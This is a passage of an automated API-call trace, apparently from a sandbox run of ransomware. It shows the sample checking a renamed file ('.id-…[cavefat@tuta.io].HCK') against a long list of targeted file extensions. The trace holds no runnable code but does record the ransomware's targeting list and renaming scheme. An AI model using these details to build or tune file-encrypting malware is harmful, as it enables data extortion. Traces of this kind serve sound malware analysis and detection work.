ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.330] lstrlenW (lpString="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK") returned 42 [0224.330] lstrlenW (lpString=".1cd") returned 4 [0224.330] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.330] lstrlenW (lpString=".3ds") returned 4 [0224.330] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.330] lstrlenW (lpString=".3fr") returned 4 [0224.330] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.330] lstrlenW (lpString=".3g2") returned 4 [0224.330] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.330] lstrlenW (lpString=".3gp") returned 4 [0224.330] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.330] lstrlenW (lpString=".7z") returned 3 [0224.330] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.330] lstrlenW (lpString=".accda") returned 6 [0224.330] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.330] lstrlenW (lpString=".accdb") returned 6 [0224.330] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.330] lstrlenW (lpString=".accdc") returned 6 [0224.330] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.330] lstrlenW (lpString=".accde") returned 6 [0224.330] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.330] lstrlenW (lpString=".accdt") returned 6 [0224.330] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.330] lstrlenW (lpString=".accdw") returned 6 [0224.330] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.330] lstrlenW (lpString=".adb") returned 4 [0224.330] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.330] lstrlenW (lpString=".adp") returned 4 [0224.330] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ai") returned 3 [0224.331] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.331] lstrlenW (lpString=".ai3") returned 4 [0224.331] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ai4") returned 4 [0224.331] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ai5") returned 4 [0224.331] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ai6") returned 4 [0224.331] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ai7") returned 4 [0224.331] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ai8") returned 4 [0224.331] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".anim") returned 5 [0224.331] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.331] lstrlenW (lpString=".arw") returned 4 [0224.331] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".as") returned 3 [0224.331] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0224.331] lstrlenW (lpString=".asa") returned 4 [0224.331] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".asc") returned 4 [0224.331] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".ascx") returned 5 [0224.331] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0224.331] lstrlenW (lpString=".asm") returned 4 [0224.331] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".asmx") returned 5 [0224.331] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0224.331] lstrlenW (lpString=".asp") returned 4 [0224.331] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0224.331] lstrlenW (lpString=".aspx") returned 5 [0224.331] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0224.331] lstrlenW (lpString=".asr") returned 4 [0224.332] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".asx") returned 4 [0224.332] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".avi") returned 4 [0224.332] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".avs") returned 4 [0224.332] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".backup") returned 7 [0224.332] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0224.332] lstrlenW (lpString=".bak") returned 4 [0224.332] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".bay") returned 4 [0224.332] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".bd") returned 3 [0224.332] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0224.332] lstrlenW (lpString=".bin") returned 4 [0224.332] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".bmp") returned 4 [0224.332] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".bz2") returned 4 [0224.332] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".c") returned 2 [0224.332] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0224.332] lstrlenW (lpString=".cdr") returned 4 [0224.332] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".cer") returned 4 [0224.332] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".cf") returned 3 [0224.332] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0224.332] lstrlenW (lpString=".cfc") returned 4 [0224.332] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".cfm") returned 4 [0224.332] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".cfml") returned 5 [0224.332] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.332] lstrlenW (lpString=".cfu") returned 4 [0224.332] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".chm") returned 4 [0224.332] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".cin") returned 4 [0224.332] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.332] lstrlenW (lpString=".class") returned 6 [0224.332] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.332] lstrlenW (lpString=".clx") returned 4 [0224.333] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".config") returned 7 [0224.333] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.333] lstrlenW (lpString=".cpp") returned 4 [0224.333] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".cr2") returned 4 [0224.333] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".crt") returned 4 [0224.333] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".crw") returned 4 [0224.333] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".cs") returned 3 [0224.333] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.333] lstrlenW (lpString=".css") returned 4 [0224.333] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".csv") returned 4 [0224.333] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".cub") returned 4 [0224.333] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dae") returned 4 [0224.333] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dat") returned 4 [0224.333] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".db") returned 3 [0224.333] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.333] lstrlenW (lpString=".dbf") returned 4 [0224.333] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dbx") returned 4 [0224.333] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dc3") returned 4 [0224.333] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dcm") returned 4 [0224.333] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dcr") returned 4 [0224.333] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".der") returned 4 [0224.333] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dib") returned 4 [0224.333] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dic") returned 4 [0224.333] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".dif") returned 4 [0224.333] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.333] lstrlenW (lpString=".divx") returned 5 [0224.333] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".djvu") returned 5 [0224.334] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".dng") returned 4 [0224.334] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".doc") returned 4 [0224.334] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".docm") returned 5 [0224.334] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".docx") returned 5 [0224.334] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".dot") returned 4 [0224.334] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dotm") returned 5 [0224.334] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".dotx") returned 5 [0224.334] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".dpx") returned 4 [0224.334] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dqy") returned 4 [0224.334] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dsn") returned 4 [0224.334] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dt") returned 3 [0224.334] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.334] lstrlenW (lpString=".dtd") returned 4 [0224.334] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dwg") returned 4 [0224.334] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dwt") returned 4 [0224.334] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".dx") returned 3 [0224.334] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.334] lstrlenW (lpString=".dxf") returned 4 [0224.334] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".edml") returned 5 [0224.334] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.334] lstrlenW (lpString=".efd") returned 4 [0224.334] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".elf") returned 4 [0224.334] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".emf") returned 4 [0224.334] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.334] lstrlenW (lpString=".emz") returned 4 [0224.334] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".epf") returned 4 [0224.335] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".eps") returned 4 [0224.335] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".epsf") returned 5 [0224.335] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.335] lstrlenW (lpString=".epsp") returned 5 [0224.335] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.335] lstrlenW (lpString=".erf") returned 4 [0224.335] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".exr") returned 4 [0224.335] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".f4v") returned 4 [0224.335] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".fido") returned 5 [0224.335] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.335] lstrlenW (lpString=".flm") returned 4 [0224.335] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".flv") returned 4 [0224.335] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".frm") returned 4 [0224.335] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".fxg") returned 4 [0224.335] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".geo") returned 4 [0224.335] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".gif") returned 4 [0224.335] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".grs") returned 4 [0224.335] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.335] lstrlenW (lpString=".gz") returned 3 [0224.335] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.335] lstrlenW (lpString=".h") returned 2 [0224.335] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.335] lstrlenW (lpString=".hdr") returned 4 [0224.335] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.335] lstrlenW (lpString=".hpp") returned 4 [0224.335] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.335] lstrlenW (lpString=".hta") returned 4 [0224.335] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.335] lstrlenW (lpString=".htc") returned 4 [0224.335] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.335] lstrlenW (lpString=".htm") returned 4 [0224.335] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".html") returned 5 [0224.336] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.336] lstrlenW (lpString=".icb") returned 4 [0224.336] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".ics") returned 4 [0224.336] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".iff") returned 4 [0224.336] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".inc") returned 4 [0224.336] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".indd") returned 5 [0224.336] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.336] lstrlenW (lpString=".ini") returned 4 [0224.336] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".iqy") returned 4 [0224.336] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".j2c") returned 4 [0224.336] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".j2k") returned 4 [0224.336] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".java") returned 5 [0224.336] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.336] lstrlenW (lpString=".jp2") returned 4 [0224.336] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".jpc") returned 4 [0224.336] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".jpe") returned 4 [0224.336] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".jpeg") returned 5 [0224.336] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.336] lstrlenW (lpString=".jpf") returned 4 [0224.336] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".jpg") returned 4 [0224.336] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".jpx") returned 4 [0224.336] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".js") returned 3 [0224.336] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.336] lstrlenW (lpString=".jsf") returned 4 [0224.336] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".json") returned 5 [0224.336] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.336] lstrlenW (lpString=".jsp") returned 4 [0224.336] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.336] lstrlenW (lpString=".kdc") returned 4 [0224.337] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".kmz") returned 4 [0224.337] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".kwm") returned 4 [0224.337] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".lasso") returned 6 [0224.337] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.337] lstrlenW (lpString=".lbi") returned 4 [0224.337] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".lgf") returned 4 [0224.337] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".lgp") returned 4 [0224.337] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".log") returned 4 [0224.337] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".m1v") returned 4 [0224.337] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".m4a") returned 4 [0224.337] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".m4v") returned 4 [0224.337] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".max") returned 4 [0224.337] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".md") returned 3 [0224.337] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.337] lstrlenW (lpString=".mda") returned 4 [0224.337] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mdb") returned 4 [0224.337] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mde") returned 4 [0224.337] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mdf") returned 4 [0224.337] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mdw") returned 4 [0224.337] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mef") returned 4 [0224.337] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mft") returned 4 [0224.337] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mfw") returned 4 [0224.337] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mht") returned 4 [0224.337] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.337] lstrlenW (lpString=".mhtml") returned 6 [0224.338] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.338] lstrlenW (lpString=".mka") returned 4 [0224.338] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mkidx") returned 6 [0224.338] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.338] lstrlenW (lpString=".mkv") returned 4 [0224.338] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mos") returned 4 [0224.338] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mov") returned 4 [0224.338] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mp3") returned 4 [0224.338] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mp4") returned 4 [0224.338] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mpeg") returned 5 [0224.338] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.338] lstrlenW (lpString=".mpg") returned 4 [0224.338] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mpv") returned 4 [0224.338] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mrw") returned 4 [0224.338] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".msg") returned 4 [0224.338] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".mxl") returned 4 [0224.338] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".myd") returned 4 [0224.338] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".myi") returned 4 [0224.338] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".nef") returned 4 [0224.338] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".nrw") returned 4 [0224.338] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".obj") returned 4 [0224.338] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".odb") returned 4 [0224.338] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".odc") returned 4 [0224.338] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".odm") returned 4 [0224.338] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.338] lstrlenW (lpString=".odp") returned 4 [0224.339] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".ods") returned 4 [0224.339] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".oft") returned 4 [0224.339] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".one") returned 4 [0224.339] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".onepkg") returned 7 [0224.339] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.339] lstrlenW (lpString=".onetoc2") returned 8 [0224.339] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.339] lstrlenW (lpString=".opt") returned 4 [0224.339] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".oqy") returned 4 [0224.339] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".orf") returned 4 [0224.339] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".p12") returned 4 [0224.339] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".p7b") returned 4 [0224.339] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".p7c") returned 4 [0224.339] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pam") returned 4 [0224.339] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pbm") returned 4 [0224.339] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pct") returned 4 [0224.339] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pcx") returned 4 [0224.339] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pdd") returned 4 [0224.339] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pdf") returned 4 [0224.339] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pdp") returned 4 [0224.339] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pef") returned 4 [0224.339] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pem") returned 4 [0224.339] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pff") returned 4 [0224.339] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.339] lstrlenW (lpString=".pfm") returned 4 [0224.340] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pfx") returned 4 [0224.340] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pgm") returned 4 [0224.340] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".php") returned 4 [0224.340] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".php3") returned 5 [0224.340] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".php4") returned 5 [0224.340] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".php5") returned 5 [0224.340] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".phtml") returned 6 [0224.340] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.340] lstrlenW (lpString=".pict") returned 5 [0224.340] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".pl") returned 3 [0224.340] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.340] lstrlenW (lpString=".pls") returned 4 [0224.340] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pm") returned 3 [0224.340] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.340] lstrlenW (lpString=".png") returned 4 [0224.340] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pnm") returned 4 [0224.340] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".pot") returned 4 [0224.340] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.340] lstrlenW (lpString=".potm") returned 5 [0224.340] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.340] lstrlenW (lpString=".potx") returned 5 [0224.340] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.340] 